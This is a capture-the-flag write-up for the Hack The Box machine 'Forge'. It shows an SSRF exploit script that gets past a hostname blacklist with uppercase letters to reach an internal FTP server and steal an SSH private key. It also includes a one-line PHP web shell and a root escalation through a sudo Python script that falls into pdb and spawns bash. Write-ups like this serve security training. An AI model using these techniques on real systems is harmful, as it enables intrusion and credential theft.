Forge (Linux Medium)#
Forge is a medium-rated Linux machine by NoobHacker99. We'll exploit two Server-Side Request FORGEry vulnerabilities to gain access to an internal-only FTP server with an ssh private key for access to the machine. To gain root, we'll break a Python script and use the Python debugger to execute a shell.
Reconnaissance#
An initial nmap scan shows only 3 ports open: 21, 22, and 80:
# nmap -v -n -p- -Pn -sS -O -oA forge-alltcp 10.10.11.111
Nmap scan report for 10.10.11.111
Host is up (0.048s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp filtered ftp
22/tcp open ssh
80/tcp open http
The FTP service is listed as filtered
, most likely by an iptables
rule to block
traffic not from the local host.
Scanning the services doesn't reveal much either:
# nmap -n -v -p 22,80 -sCV -Pn -oA forge-services 10.10.11.111
Nmap scan report for 10.129.204.175
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.129.204.175; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The OpenSSH
and apache
versions indicate this is likely an Ubuntu 20.04
machine. The redirect to http://forge.htb
is noteworthy, indicating we should
check for other named-based virtual hosts on the web server. My preferred
tool for this is wfuzz
:
$ wfuzz -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.forge.htb' http://10.10.11.111
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.111/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 302 9 L 26 W 279 Ch "www"
000000012: 302 9 L 26 W 279 Ch "ns2"
000000011: 302 9 L 26 W 279 Ch "ns1"
000000014: 302 9 L 26 W 286 Ch "autoconfig"
000000003: 302 9 L 26 W 279 Ch "ftp"
^C
I'll run an initial fuzz to see how the web server responds, then run it
again and filter out the negative results. In this instance, we can filter out
responses with a word count of 26
words:
$ wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.forge.htb' --hw 26 http://10.10.11.111
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.111/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 1 L 4 W 27 Ch "admin"
000009532: 400 12 L 53 W 425 Ch "#www"
000010581: 400 12 L 53 W 425 Ch "#mail"
Total time: 83.94768
Processed Requests: 19966
Filtered Requests: 19963
Requests/sec.: 237.8386
wfuzz
shows there is a website at http://admin.forge.htb
as well.
After adding 10.10.11.111 forge.htb admin.forge.htb
to /etc/hosts
,
we can view the site in a browser:
The 'Upload an image'
link takes us to a web form where we can either upload
a file from our local machine, or input an URL that the server will use to download
an image for us.
If not implemented correctly, this type of service can be abused to access resources that might not be directly accessible.
Attemping to access the admin
site is unsuccessful, but does provide a valuable clue:
we can access the site from requests sent from the local machine.
That gives us our path forward: finding a way to coerce the upload
function into
sending requests to the services on the local machine that are blocked to outside
requests.
Foothold#
We'll begin with attempting to learn how the upload
function behaves. We can
start a netcat
listener on a port, then put our IP address in the upload function
to see whether the site will attempt to contact us:
$ nc -vnlp 8008
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::8008
Ncat: Listening on 0.0.0.0:8008
Upon submitting the request, we get a response in our netcat
listener:
$ nc -vnlp 8008
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::8008
Ncat: Listening on 0.0.0.0:8008
Ncat: Connection from 10.10.11.111.
Ncat: Connection from 10.10.11.111:51044.
GET /pugpug HTTP/1.1
Host: 10.10.14.8:8008
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
^C
By starting a Python web server, we can see how the application behaves when we send a valid file:
$ cat pug.php
<?php echo "<pre>"; system($_GET[cmd]); ?>
$ python3 -m http.server 8008
Serving HTTP on 0.0.0.0 port 8008 (http://0.0.0.0:8008/) ...
10.10.11.111 - - [22/Jan/2022 15:46:07] "GET /pug.php HTTP/1.1" 200 -
We see in the response from the web server that it saves our data to a random filename:
Fetching the URL returns the content of the transferred file:
$ curl http://forge.htb/uploads/9q7dl5j6hFE25xaSgSwV
<?php echo "<pre>"; system($_GET[cmd]); ?>
User#
As we'll be poking at the website to determine how to leverage the SSRF vulnerability, I'll write a quick script to quickly send requests to the server and fetch the results. While it's possible to perform this either through the browser or via an attack proxy such as Burp, my preference is to create scripts to make the process easier.
#!/usr/bin/env python3
# Exploit the SSRF vulnerability on forge.htb to retrieve data from
# internal services.
#
# Joe Ammond (pugpug)
import requests
from cmd import Cmd
from bs4 import BeautifulSoup
url = 'http://forge.htb/upload'
# Abuse the SSRF on the main site
def fetch(args):
data = {
'url': args,
'remote': '1'
}
# POST request
r = requests.post(url, data=data)
# Parse initial response, find href to upload URL, get it. Finding the
# uploaded URL is ugly. We wrap it in a try/except in case we hit the
# filter or the the request fails.
soup = BeautifulSoup(r.text, 'html.parser')
try:
data = soup.find_all('strong')[1].text
except:
return r.text
r = requests.get(data)
return r.text
class Term(Cmd):
prompt = 'url> '
def default(self, args):
print(fetch(args))
if __name__ == '__main__':
term = Term()
term.cmdloop()
The upload
function accepts an HTTP POST
request, with two required
parameters: url
, the URL for the server to process, and remote
, which
is set to 1
to specify a remote file. We send the entered URL to the
upload
service and process the results. If the request is successful, we
parse out the URL where the data has been written to, fetch it and return
the content. In the event of a failed request, we return the response from
the POST
to see any errors. Running the script and entering the same
URL as the screenshot above shows the script is working:
$ python3 ssrf-base.py
url> http://10.10.14.8:8008/pug.php
<?php echo "<pre>"; system($_GET[cmd]); ?>
url>
Attemping to access either the admin
site or the FTP
server results in
errors:
url> http://admin.forge.htb
...
<center>
<strong>URL contains a blacklisted address!</strong>
</center>
...
url> ftp://127.0.0.1/
...
<center>
<strong>Invalid protocol! Supported protocols: http, https</strong>
</center>
...
After trying some different filter bypass techniques, on a whim I attempted entering the hostname in uppercase. Success:
url> http://ADMIN.FORGE.HTB
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
The /announcements
URL gives us the next part of getting to user:
url> http://ADMIN.FORGE.HTB/announcements
...
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
...
Attemping to use the credentials to access the machine via SSH
fails:
$ ssh user@forge.htb
user@forge.htb: Permission denied (publickey).
However, it looks like we can use the SSRF vulnerability on the main page to access
the /upload
URL on the admin
site, which may give us access to the internal FTP
server. We can modify the fetch()
function to route any URLs through the admin
site:
# Abuse the SSRF on the main site, routing the request to admin.forge.htb,
# as the admin site accepts more request types.
def fetch(args):
data = {
'url': 'http://ADMIN.FORGE.HTB/upload?u={}'.format(args),
'remote': '1'
}
# POST request
r = requests.post(url, data=data)
# Parse initial response, find href to upload URL, get it. Finding the
# uploaded URL is ugly. We wrap it in a try/except in case we hit the
# filter or the the request fails.
soup = BeautifulSoup(r.text, 'html.parser')
try:
data = soup.find_all('strong')[1].text
except:
return r.text
r = requests.get(data)
# Parse the second page returned, to see whether the request from
# admin was successful.
soup = BeautifulSoup(r.text, 'html.parser')
try:
data = soup.find_all('strong')[1].text
except:
# We couldn't parse it as HTML, so return the text directly
return r.text
# We got a second link in the returned page, so fetch it and return
# the content.
r = requests.get(data)
return r.text
After modifying the script, we can see whether the /upload
function on the
admin
site has any additional functionality. Attempting a file:///
URL
shows that in addition to HTTP
and HTTPS
, we can now access FTP
and
FTPS
URLs as well:
$ python ssrf.py
url> file:///etc/passwd
Invalid protocol! Supported protocols: http, https, ftp, ftps.
url>
We can access the internal FTP
server using the credentials provided and grab
user.txt
:
url> ftp://user:heightofsecurity123!@FORGE.HTB/
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Jan 22 20:07 user.txt
url> ftp://user:heightofsecurity123!@FORGE.HTB/user.txt
737124c79df00af1e2bec4...
url>
The snap
directory is an indication that we have accessed the home
directory of the user
account. Since we know we can't use password
authentication with SSH
, we can look for a .ssh
directory, which may
contain a private key:
url> ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/
-rw------- 1 1000 1000 564 May 31 2021 authorized_keys
-rw------- 1 1000 1000 2590 May 20 2021 id_rsa
-rw------- 1 1000 1000 564 May 20 2021 id_rsa.pub
url> ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
...
url>
Saving the private key allows us to SSH
in as user
:
$ ssh -i user-id_rsa user@forge.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
...
Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6
user@forge:~$
Root#
Running sudo -l
shows us our path to root
:
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:~$
The Python script is straightforward:
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
The script picks a random high port and listens it for an incoming connection. If
the user enters the password secretadminpassword
, a menu is presented to run
various utilities: ps
, df
, and ss
. The main body of the script is wrapped in
a try/except
block to catch any exceptions, calling the Python debugger pdb
if one occurs. If we can cause an exception, we'll gain access to pdb
running as
root. The easiest location to do this would be in this call here:
option = int(clientsock.recv(1024).strip())
Entering a non-integer will raise a ValueError
exception and dump us into the
debugger. By running the script in one shell session, connecting to it in a
second, and entering a string into the prompt, we see the pdb
debugger in
the first session:
user@forge:~$ nc localhost 43320
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
pugpug
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:43320
invalid literal for int() with base 10: b'pugpug'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
The second shell hangs while pdb
is running, but we can easily now spawn a
shell as root from pdb
:
(Pdb) import os
(Pdb) os.system('/bin/bash')
root@forge:/home/user# cat /root/root.txt
8b4a2fb64e2fa7602574...
root@forge:/home/user#
Final thoughts#
I enjoyed this box. The path to root was straightforward and felt like a realistic scenario that I might encounter in the real world.
-- pugpug